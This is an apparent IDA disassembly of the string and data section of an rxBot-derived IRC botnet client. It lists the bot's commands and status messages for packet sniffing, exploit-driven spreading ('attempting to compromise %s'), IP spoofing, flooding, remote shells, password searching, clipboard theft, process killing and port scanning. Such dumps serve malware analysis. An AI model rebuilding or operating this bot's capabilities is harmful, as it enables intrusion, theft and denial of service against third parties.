aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
